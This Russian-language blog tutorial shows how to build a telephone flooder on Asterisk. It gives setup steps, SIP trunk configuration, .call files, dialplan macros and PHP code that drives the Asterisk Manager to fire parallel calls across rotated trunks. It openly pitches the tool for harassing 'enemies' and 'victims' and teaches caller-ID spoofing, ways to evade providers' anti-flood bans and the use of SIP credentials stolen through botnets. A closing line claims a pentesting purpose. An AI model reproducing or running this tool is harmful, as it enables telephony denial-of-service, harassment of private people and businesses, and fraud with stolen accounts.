Asterisk SIP VoIP Обучение Телефония

Делаем телефонный флудер на Asterisk

Делаем телефонный флудер на Asterisk

Алё, Шура, ты сейчас упадёшь!

Бывает же такое, что после разговора с кем нибудь тебе хочется разбить телефон? А зачем разбивать свой. Лучше разбить телефон своего абонента. Звонками. Поверь, когда на телефон поступает сразу много звонков, да ещё и в несколько потоков с разных номеров, даже продвинутому пользователю с современным смартфоном сделать со своим девайсом уже ничего не получится.

Тебя достали менеджеры в какой то компании? Или просто хочется перерыва на работе? Решение есть. И оно старо как мир, но работает так же безотказно, как и 20 лет назад.

Сегодня мы поговорим про телефонный флуд. Да-да, это когда на телефон абонента, не важно, частного или корпоративного, приходит много вызовов одновременно. Ты уже представляешь, как «прогреваешь» телефоны свои врагов нискончаемым потоком звонков. Сегодня я тебе расскажу как это делают.

Тема древняя, но всё равно актуальная. При этом софт, который лежит в паблике и позволяет флудить через SIP настолько кривой, что иногда диву даешься, как его еще и умудряются тебе впаривать… Ну а про обход антифлуд защит там и речи быть не может. Сегодня я предлагаю исправить эту ситуацию. Статья ориентирована преимущественно на новичков, а также людей которые лишь слегка знакома с понятием sip телефонии. Сразу говорю. что методы и код приведенный ниже полностью рабочие и опробованы в боевых условиях.

Для работы нам потребуются:

а) Базовые знания linux…

б) Базовые знания любого ЯП. Я покажу на примере php, хотя в целом реализовать все можно и даже просто скриптом на bash.

в) Прямые руки и чуточку терпения.

Расписывать что такое SIP и как он работает я не буду. Для этого нужна не статья, а книга. К тому же я считаю, что нет смысла и писать всё с 0. Благо, у нас под рукой есть удобный и испробованный десятилетями — asterisk. Asterisk — это сервер для voip телефонии. Это стабильный продукт, который часто можно увидеть в работе как в небольших интернет магазинах, так и даже в банках. Любой из нас сталкивался с звонком в тех. поддержку, где милый голос робота просил нас оставаться на линии. В 99% любой ivr меню крутится на asterisk. При этом он обладает очень обширным функционалом, но для нашего флудера будет достаточно 5-10% базовых функций.

Для начала нам нужно будет сделать несколько шагов:

а) Установить и настроить Asterisk.

б) Разобраться с способами автоматических звонков с помощью Asterisk.

в) Обойти баны sip провайдеров.

Установка и настройка

Сам asterisk это довольно таки хадкорный продукт. Опытные linux админы могут пропустить эту часть, потому что тут будет всё банально, а вот нубам придется попотеть. Куча модулей, ещё больше зависимостей. Сборка вручную из исходников — не проблема для опытного админа, но тот ещё геморой для новичка. А если ты даже с linux слабо знаком, то это будет что-то из серии «Misssion Impossible». Многие новички бегут сразу же в google c запросами «centos 6 install asterisk», получают кучу статей с якобы пошаговой установкой а-ля вбивай копипастой комманды. Как правило статьи древние, у вас будет море проблем с зависимостями, но даже если на N-ой статье у вас все получится, то и тут может быть засада. Частенько установка в таких статьях содержит не официальные, а сторонние скрипты. Как минимум дважды встречал скрипты на установку Freepbx, которые в процессе ещё и пару бекдорчиков оставляют. Да и часто можно увидеть советы, мол «отключите firewall», «selinux» и прочее. Результатом работы таких сриптов будет шел и ваш слитый баланс у voip провайдера. Вопрос времени.

Страшно? Не парься. Есть очень простое решение. Благо, разрабы asterisk потрудились и сделали готовое iso для установки. Называется это чудо AsteriskNow. Установка по уровню сложности не более чем переставить windows у одногрупницы. При этом мы получим уже настроенный firewall, fail2ban и прочие приятности. Злостные брутеры — не пройдут. Также asterisk подразумевает ещё и более сложный конфиг. Всё делается сугубо в конфиг файлах, а их там сотни. Если вы ставите его впервые, то готовьтесь провести как минимум неделю, вникая в документацию и структуру. Но и тут есть решение — FreePbx. Gui админка, в которой всё красиво, «на кнопках», с графиками и рисунками. То что нужно, особенно учитывая, что FreePBX по дефолту стоит в AsteriskNow который мы и будем ставить. Приступим:

Для начала купим VPS. Единственное условие это панель, которая позволит нам подгружать наш iso с AsteriskNow и стартовать с него. Я рекомендую — https://hostsailor.com/

VPS минимум гиг оперативы (лучше 2GB). После регистрации и оплаты (Bitcoin тоже поддерживают) на мыло нам упадет письмо с нужными данными для входа. Нас не интересует ssh, а нужна панелька — Control Panel. Там будет линк на неё и случайне логин и пасс. Заходим туда.

Следующий шаг это перейти в нижней панели в CDRom, где можно смонтировать iso. Последний образ AsteriskNow там уже добавлен по дефолту, поэтому выбираем его и нажимаем mount.

Далее перейдем в раздел Settings и поменяем в Boot Order загрузку сперва с CDRom.

Делаем Reboot сервера. Дальше нам нужно подключится по VNC и пройти простую GUI установку ОС. В той же панели есть данные для VNC, но также есть и встроенный HTML5 VNC Viewer. Юзаем его и сразу же попадаем в меню установки AsteriskNow.

Выбираем Full Install. Остальное вбиваем по дефолту (введенный пароль в процессе установки будет вашим ssh паролем) и идем заваривать кофе. Через мин. 5 все будет готово. После этого возвращаемся в панель. Убираем наш iso, ставим загрузку уже с HDD первым и снова ребутаем все. Дальше минут 5 будут обновлятся наши модули.

Дождись завершения установки в VNC. После этого просто заходим в браузере по нашему ip сервера и попадаем в админку Freepbx. Вбиваем логин, пароль, мыло для восстановления. Skip’аем все рекламы и предложения и вуаля все готово. Неплохо было бы конечно поменять дефолтные пароли asterisk manager. Также есть возможная ошибка с зависимостью php mbstring (убирается установкой через vnc или ssh). После того как мы все сделали мы попадаем в красивую админ панель.

Готово! Сам asterisk мы установили. Давайте же сделаем его конфиг. Для начала нам нужен sip провайдер. В моем примере будет использована zadarma (на ней просто завалялись пару долларов). Её используйте только для первого теста настройки системы. Для флуда они 100% не подойдут. Там довольно таки хороший антифлуд контроль и забанены вы будете почти сразу. Допускаются разве что разовые тест звонки в процессе разработки и то на свой номер. Вы можете использовать свой sip провайдер, настройки существенно отличаться не будут. Итак, для начала идем в раздел Connectivity — Trunks. Далее добавляем Sip trunk.

Настройки следующие:

Trunk Name zadarma

 

PEER Details

 

host=sip.zadarma.com

insecure=invite

type=friend

fromdomain=sip.zadarma.com

disallow=all
allow=alaw&ulaw

dtmfmode=auto

secret=password

defaultuser=111111

fromuser=111111

qualify=400

directmedia=no
nat=force_rport,comedia

 

USER Context 111111

 

USER Details
 

host=sip.zadarma.com

insecure=invite

type=friend

fromdomain=sip.zadarma.com

disallow=all

allow=alaw&ulaw

dtmfmode=auto

secret=password

defaultuser=111111

fromuser=111111

qualify=400

directmedia=no
nat=force_rport,comedia

 

Register String
111111:password@sip.zadarma.com/111111

Естественно, 111111 — это ваш sip id, password — пароль к sip id, также в случае другого sip провайдера поменяйте host,fromdomain и url в Registration String.

После этого вернитесь в Reports -> System Status и вы должны теперь наблюдать в графике активную регистрацию вашего транка (не забудьте сделать Apply Changes, так как многие изменения требуют перезагрузки ядра asterisk).

Флудим

Пора перейти к основной части данной статьи. У нас есть готовый мощный инструмент в виде asterisk сервера. Теперь нам остается разобраться как осуществляются исходящие звонки и как это все автоматизировать. Думаете, пора окунуться в дебри sip протокола, инвайтов, реджектов и прочего? Не стоит пудрить себе мозги ведь в нашем аресенале есть call файлы. Скорее всего вы сталкивались с ними, когда получали вериф звонок при регистрации на каком-то бурж сервисе, где робот звонил и зачитывал вам пароль либо просил подтвердить вашу личность, нажав 1. Вероятней всего это сделано с помощью этих волшебных файлов.

Call файлы - это текстовые конфиг файлы asterisk, которые содержат инструкции о том с помощью какого транка позвонить, куда позвонить, а также на какое действие направить нашу стратегию звонка. Для того чтобы совершить автоматический исходящий звонок вам просто нужно создать файл с расширением .call и с определенным содержанием и после этого положить его в папку /var/spool/asterisk/outgoing/

По факту это обычный txt файл с своей структурой и расширение .call Вы можете почитать полную документацию о них у разрабов asterisk, но предлагаю быстро разобрать основной функционал нужный нам для флудера на примере стандартного call файла:

Channel: SIP/zadarma/111111111111
Callerid: 222222222222
Context: context
Extension: s
Set: variable=test

В Channel мы передаем куда нам нужно звонить: протокол SIP. Далее указываем нужный транк (у нас ведь их может быть много). И в конце телефон на который уйдет звонок (как правило в международном формате без +, но все зависит от вашего провайдера).

CallerID — номер который передается при подмене. Не все провайдеры его поддерживают. То есть астериск передаст тот что вы укажите здесь, а вот дальше уже сам sip провайдер может его обрезать.

Context — куда пустить звонок. Стратегиями звонков управляет в астериск файл extensions.conf. В нем прописаны все макросы и действия, которые будут при звонке. Функционал просто огромен. Допустим, вам нужно чтобы звонки из США попадали строго на определенного оператора? Это указывается здесь… Или может вам нужно чтобы при поднятии трубки играла определенная мелодия? Опять таки милости просим в extensions.conf Весь функционал его мы разберем чуть позже, хотя по факту для обычного флудера нам нужно максимум 1-3 комманды.

Extension — место в макросе указанном в context с которого начать выполнять действия. В нашем случае не заостряйте внимание и просто укажите s (что значит дефолт).

Set: variable=test Возможность передавать в диалплан какие-то свои переменные. В нашем случае переменная variable с значением test. Удобно когда нужно передавать что-то динамически. Например указать чтобы для определенного телефона ожидания снятия трубки было большим, или играла не просто мелодия, а какая то особенная. По факту вам это не пригодится для обычного флудера, но это просто незаменимо для некоторых крутых фишек)))

Саму структуру мы разобрали. Как видите, нам не хватает всего лишь Context. А именно макроса с инструкциями для нашего робота, что делать при звонке. Открываем файл /etc/asterisk/extensions.conf Спускаемся в самый низ (важно именно в самом низу) и пишем наш первый макрос.

[flooder]
exten => s,1,Hangup()

Как видим структура следующая:

exten => начало любой инструкции

s — extension. S — означает неустановленный, то есть дефолт. Если вы вернетесь в место с описанием call файлов, то именно он задается в инструкции extension. Указывайте просто s.

1 — приоритет. Каждое действие имеет свой приоритет. То есть цифра указывает астериску с чего начать. Астериск выполняет комманды начиная с меньшего приоритета и по повышению. Если не понятно, то поймете в более сложном примере ниже.

Hangup() — сама функция. Конкретна эта означает положить трубку.

Как мы видим наш макрос просто звонит до тех пор пока не возьмут трубку, а если взяли, то ложет его (максимальная длительность звонка можно указать отдельно глобально в админке или в call файле). Можно ли придумать что-то чуть сложнее? Легко.

exten => s,1,SendDTMF(1,1000,100) // нажимаем 1 через 1000 милисекунд (секунда) с глубиной нажатия 100 милисекунд
exten => s,2,Playback(melody) проиграть аудиофайл melody, который должен находится в папке /var/lib/asterisk/sounds. Заметьте что нужно только имя без расширения.
exten => s,3,Wait(${WAITIME}) // ждем определенное количество времени. ${WAITIME} это переменная которую мы можем послать с помощью call файл - Set: WAITIME=10 
exten => s,4,Hangup()

После каждого сохранения extensions.conf необходимо также перезапустить модули ядра, чтобы изменения вступили в силу. Делается это с помощью команды amportal restart либо ребутом всего сервера.

Для начала советую создать простой макрос в самом конце extensions.conf. Теперь создайте тестовый .call файл и просто поместите его в папку /var/spool/asterisk/outgoing/ Не забудьте указать в нем ваш телефон, callerID, новый макрос (вместо context). Если вы все сделали правильно, то asterisk удалить call файл и сразу же совершит звонок. Интересной особенностью является, то что можно запланировать звонок на будующее. Для этого просто поменяйте modification date вашего call файла (не забудьте что на сервере может быть другой часовой пояс). В таком случае звонок уйдет только когда наступит modification date. Если звонок не ушел, то где то вы сделали ошибку и вот тут то пора познать все прелети дебага. Вбивайте в ssh asterisk -r и вы попадете в cli меню управления астериском. Далее советую вбить core set verbose 10 что повысит детальность лога. А дальше совершайте звонок через call файл и смотрите ошибки. Вряд ли у вас будет что-то уникальное в ошибках, поэтому «да прибудет с вами сила Google’а».

Подводя итоги, можно на скорую руку набросать простенький скрипт, который будет создавать саll файл, ожидать какое-то время и заного запускать по кругу. Фактически базовый функционал ядра флудера готов. Конечно неплохо написать еще админку, динамически вставлять callerID для подмены, отправлять разные dtmf на случай если флудите какие-то сервисы и прочее. Но это уже нюансы.

Что если SIP провайдер тебя забанил?

Пора перейти к минусам всей этой системы. Наш флудер будет работать как часы, звонки будут идти как по часам, жертвы будут разбивать телефоны об стены до момента пока….. Пока sip провайдер не заблокирует вас. И дело тут не в абузах (хотя и в них тоже). В первую очередь провайдеру это невыгодно. Это нагружает ресурсы их системы. К тому же зачастую сип провы это лишь перекупы, которые закупают роуты у крупных и не очень операторов. У каждого роута (допустим маршрут звонков под США) есть параметры — ASR и ABR. По факту высчитывается процентное соотношение отвеченных вызовов к общему числу звонков. Как вы понимаете недозвонов у вас будет много и параметр начнем проседать. Оператор выебет провайдера, а он уже вас. При этом для оператора это очень не выгодно, поэтому как правило своих провов он уже ебал далеко не раз хренову тучу лет назад. И почти у всех провов есть автоматический антифлуд контроль, который отслеживает малейшие проседания ASR (И ДРУГИХ ПАРАМЕТРОВ!) и в зависимости от прова либо временно банит либо подсвечивает и отправляет на ручную модерацию ваш sip аккаунт. Вообщем вряд ли вы найдете провайдера без антифлуд контроля… Но неужели все что вы делали выше зря??? Хахаха, нет конечно и сегодня не 1 апреля. Давайте перейдем к основному моменту статьи, которая уже будет интересна более опытным товарищам))).

Способы обхода антифлуд контроля:

а) Работа не через sip провайдеров а напрямую с железом.

б) Динамическое распределение звонков на разные транки.

а) Вариант с работой с железом напрямую тут не будет подробно рассмотрен. Могу отметить, что к данной системе запросто можно подключить goip gsm шлюз. GOIP на 4 симки не вызовет подозрений у ОПСОСА, но естественно, что просто идиотизм ставить его у себя. К тому же флудить я надеюсь вы планируете по буржу, а это уже предполагает наличие дропа, которому можно доверить оборудование за 100$+, постоянный выход на симки, так как ОПСОСЫ тоже не любят флуд и будут банить симки периодически.

б) А вот тут уже интереснее. Если вы читали статью внимательно, то поняли, что под каждого провайдера можно завести свой транк. Мало того у провайдера можно создать более 1 аккаунта и также подключить каждый под разный транк. Также в тех же call файлах можно указывать транк, с помощью которого мы осуществляем исходящий звонок. А соотвественно их можно запросто чередовать. Также не советую сразу делать сброс звонка, лучше подождать какое-то рандомное время. Неплохо также и сделать эмуляцию реального человека, делая звонки на свои же номера и проигрывая заранее подготовленные аудио. Зачастую звонки по США допустим стоят копейки и можно запросто понести эти затраты. В таком случае шанс улететь в бан довольно низкий. А если еще и автоматизировать процесс регистрации, то количество таких аккаунтов можно наплодить невероятное множество и соотвественно снизить бан к нулям. К тому же владельцам ботнетов достаточно просто сделать список из 100 топовых сип контор и просто поискать их в своих логах. Поверьте вы будете удивлены. Также если у вас нет ботнета, то на многих форумах можно у владельцев ботнетов за шекели купить нужные вам линки. Зачастую они не пользуются спросом.

Итого основные правила:

а) Распаралеливать флуд на разных сип провайдеров.

б) Паралельно имитировать реальные звонки.

в) Не слишком гасить ASR, не сразу сбрасывая звонок.

Основной проблемой будет чередование звонков. Часть будет сбрасываться, часть наоборот может быть активна если жертва будет брать трубку спецом в надежде спалить все ваши средства. Простым sleep(); в скрипте и таким примитивным чередованием вы быстро отгребете баны. Тут нужно динамически отлавливать запущенные звонки по потокам и запускать по таймеру и заранее установленным правилам. Вот тут я вам помогу, дав готовый класс и расписав небольшую часть кода по динамическому распаралеливанию процессов флуда.

Итак: asterisk имеет интересную функцию такую как Asterisk Manager. Это cli интерфейс, в который мы попадали когда пытались дебажить ошибки в наших call файлах (напомню asterisk -r). С помощью него можно выполнять базовые операции с модулями ядра астериск. По дефолту Asterisk Manager Доступен по 127.0.0.1:5038 и с логин:паролем по умолчанию — admin:amp111 (если вы при переустановке не меняли его в Freepbx). Вообщем вот простой класс по данному функционалу:

<?php

class AstMan {

 var $socket;
 var $error;
 
 function AstMan()
 {
   $this->socket = FALSE;
   $this->error = "";
 } 

 function Login($host="localhost", $username="admin", $password="amp111"){
   
   $this->socket = @fsockopen("127.0.0.1","5038", $errno, $errstr, 1); 
   if (!$this->socket) {
     $this->error =  "Could not connect - $errstr ($errno)";
     return FALSE;
   }else{
     stream_set_timeout($this->socket, 1); 
 
     $wrets = $this->Query("Action: Login\r\nUserName: $username\r\nSecret: $password\r\nEvents: off\r\n\r\n"); 

     if (strpos($wrets, "Message: Authentication accepted") != FALSE){
       return true;
     }else{
     $this->error = "Could not login - Authentication failed";
       fclose($this->socket); 
       $this->socket = FALSE;
     return FALSE;
     }
   }
 }
 
 function Logout(){
   if ($this->socket){
     fputs($this->socket, "Action: Logoff\r\n\r\n");
  $wrets = '';
     while (!feof($this->socket)) { 
       $wrets .= fread($this->socket, 8192); 
     } 
     fclose($this->socket); 
     $this->socket = "FALSE";
   }
 	return; 
 }
 
 function Query($query){
   $wrets = "";
   
   if ($this->socket === FALSE)
     return FALSE;
     
   fputs($this->socket, $query); 
   do
   {
     $line = fgets($this->socket, 4096);
     $wrets .= $line;
     $info = stream_get_meta_data($this->socket);
   }while ($line != "\r\n" && $info['timed_out'] == false );
   return $wrets;
 }
 
 function GetError(){
   return $this->error;
 }
 
 function GetDB($family, $key){
   $value = "";
 
   $wrets = $this->Query("Action: Command\r\nCommand: database get $family $key\r\n\r\n");
 
   if ($wrets){
     $value_start = strpos($wrets, "Value: ") + 7;
     $value_stop = strpos($wrets, "\n", $value_start);
   	if ($value_start > 8){
       $value = substr($wrets, $value_start, $value_stop - $value_start);
     }
 	}
   return $value;
 }	
 
 function PutDB($family, $key, $value){
   $wrets = $this->Query("Action: Command\r\nCommand: database put $family $key $value\r\n\r\n");
 
 	if (strpos($wrets, "Updated database successfully") != FALSE){
   return TRUE;
   }
   $this->error =  "Could not updated database";
   return FALSE;
 }	
 
 function DelDB($family, $key){
   $wrets = $this->Query("Action: Command\r\nCommand: database del $family $key\r\n\r\n");

 	if (strpos($wrets, "Database entry removed.") != FALSE){
   return TRUE;
   }
   $this->error =  "Database entry does not exist";
   return FALSE;
 }	
 
 
 function GetFamilyDB($family){
   $wrets = $this->Query("Action: Command\r\nCommand: database show $family\r\n\r\n");
   if ($wrets){
     $value_start = strpos($wrets, "Response: Follows\r\n") + 19;
     $value_stop = strpos($wrets, "--END COMMAND--\r\n", $value_start);
   	if ($value_start > 18){
       $wrets = substr($wrets, $value_start, $value_stop - $value_start);
     }
     $lines = explode("\n", $wrets);
     foreach($lines as $line){
       if (strlen($line) > 4){
         $value_start = strpos($line, ": ") + 2;
         $value_stop = strpos($line, " ", $value_start);
       	$key = trim(substr($line, strlen($family) + 2, strpos($line, " ") - strlen($family) + 2));  	
         $value[$key] = trim(substr($line, $value_start));
       }
     }
     return $value;
 	}
   return FALSE;
 }   
}
?>

Разбирать все построчно не буду. Если нужны детали, то сама документация по Asterisk Manager, его базе и прочему есть в гугле. Приведу небольшой пример работы именно моего класса с описанием:

    $ami = new AstMan(); // создаем обьект
   $a = $ami->Login(); // логинимся - логин и пароль дефолтные в самом классе в методе login
   $b = $ami->Query("ACTION: COMMAND\r\n"); // указываем, что следующее действие - комманда
   $c = $ami->Query("command: sip reload\r\n\r\n"); // сама комманда sip reload перезагружает модуль sip ядра
   $b = $ami->Query("ACTION: COMMAND\r\n"); 
   $d = $ami->Query("command: dialplan reload\r\n\r\n"); // перезагружает dialplan в extensions.conf
   $b = $ami->Query("ACTION: COMMAND\r\n");
   $e = $ami->Query("command: sip show peers\r\n\r\n"); // отображает peers
   $f = $ami->Logout();

В переменных выводится результат. Через echo можете просмотреть, но по факту будет тоже самое если бы вы вбили эти комманды в cli меню — asterisk -r

Принцип работы класса понятен. Давайте теперь попробуем реализовать динамическое определение сколько звонков висит на каком транке и соответсвенно получим возможность их распаралеливать.

function get_calls($ami){
$b = $ami->Query("ACTION: COMMAND\r\n");
$c = $ami->Query("command: core show Channels\r\n\r\n");
$parse = explode(PHP_EOL, $c);
foreach ($parse as $a_calls){
 if (strpos($a_calls, 'active channel')){
 	$calls = explode(' ', $a_calls);
 	$active_calls = $calls[0];
 	return $active_calls;
 }
}
}
function getTrunk($ami){
   $trunk_array = parse_ini_file("trunk.ini");
   $b = $ami->Query("ACTION: COMMAND\r\n");
   $c = $ami->Query("command: core show Channels\r\n\r\n");
   echo "Общее количество активных звонков: <br>";
   foreach ($trunk_array as $k=>$i) {
       $count = substr_count($c, $k);
       echo "$k = $count <br>";
   }
   ob_flush();
   foreach ($trunk_array as $k=>$i) {
       $count = substr_count($c, $k);
       if($count < $i){
           echo "Найден транк $k... Запускаем...<br>";
           ob_flush();
           $trunk = $k;
           return $trunk;
       }else{
           $trunk = '';
       }
   }
   return $trunk;
}

$ami = new AstMan();
$a = $ami->Login();
while ($proceed)){
   $trunk = '';
   echo "<hr>ID: ".$id." Звоним ".$phone."....<br>";
   while(!$trunk){
       ob_flush();
       $trunk = getTrunk($ami);
       if(!$trunk){
           echo "Все транки заняты... Ожидаем 5 секунд<br><br>";
           ob_flush();
           sleep(5);
       }
   }
ob_flush();
$call_file =  "Channel: SIP/$trunk/$phone". PHP_EOL .
   'Callerid: ' . $clid . PHP_EOL .
   "Context: $context". PHP_EOL .
   "Extension: s". PHP_EOL;
file_put_contents("/var/spool/asterisk/outgoing/potok$i.call",$call_file);
echo "ID: $id >>>> Звонок аббоненту с номером $phone и именем $name ушел успешно<br>";
}
$ami->Logout();
ob_end_flush();

Для примера приведен лишь функционал, по определению количества потоков. Конфиг задается в файле trunk.ini, где мы задаем на какой транк сколько активных звонков запускать. Соответственно как только будет превышен лимит, то скрипт зависнет на sleep(5); и будет обновлять инфо через Asterisk Manager пока не освободится свободное место. Это обрезанная вырезка из рабочего флудера + в нем специально допущено пару ошибок от дураков, но базовый принцип я думаю вам будет понятен.

Я бы рекомендовал добавить следующее:

1) Работа с базой.

2) Создание правил и статистики звонков по каждому транку.

3) Имитиация дозвонов на свои номера, в случае если ASR по какому-то транку падает. ASR считать самостоятельно и сохранять в базе.

В последнем примере указана основкая часть по распаралеливанию звонков по транкам, что дает возможность частично избегать антифлуд контроля у провайдеров. По факту это 60% кода ядра любого флудера, который в привате впаривают за 2-5к$. Вам остается прикрутить имитацию человека, высчитвание ASR под каждый транк и пораскинуть мозгами как максимально не палится в логах у прова.

Итого с такой схемой sip флуд будет работать 100% стабильно с минимальным количеством баном. Если вы не будете сильно просаживать ASR и будете разбавлять логи разными номерами, то претензий у sip провов не будет. Также на каждого провайдера должны быть выработаны свои правила. Тут только опытным путем. Также не советую брать ру конторы. Они заюзаны вхлам и ограничения там жесткие. Хорошо заходят мелкие de, nl провы. Если вы собрались создавать как сервис, а не в личное пользование, то советую обратится к sip операторам напрямую (не к провам). Там придется внести депозит от $100 до $500 и этот деп нужно будет раз в месяц использовать, но и ограничения будут не такими жесткими. Ну и советую поискать линки в логах, зачастую это гораздо проще и выгодней чем регить все самостоятельно + там как правило хороший баланс есть и при правильном использовании аккаунты будут жить долго.

И напоминаю тебе, что вся информацию, которую мы здесь предоставляем — исключительно в ознакомительных целях и ориентирована на пен-тестеров, которые легитимно проверяют компании на различные уязвимости. Наглухо загруженный звонками телефон, на который поступает несколько десятков звонков в секунду может стать такой проблемой. Атакать же чужие номера без согласия владельца — не законно.

Удачи.

Очень злой админ
Очень злой админ Автор статьи

Админ сайта. Публикует интересные статьи с других ресурсов, либо их переводы. Если есть настроение, бывает, что пишет и что-то своё.

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *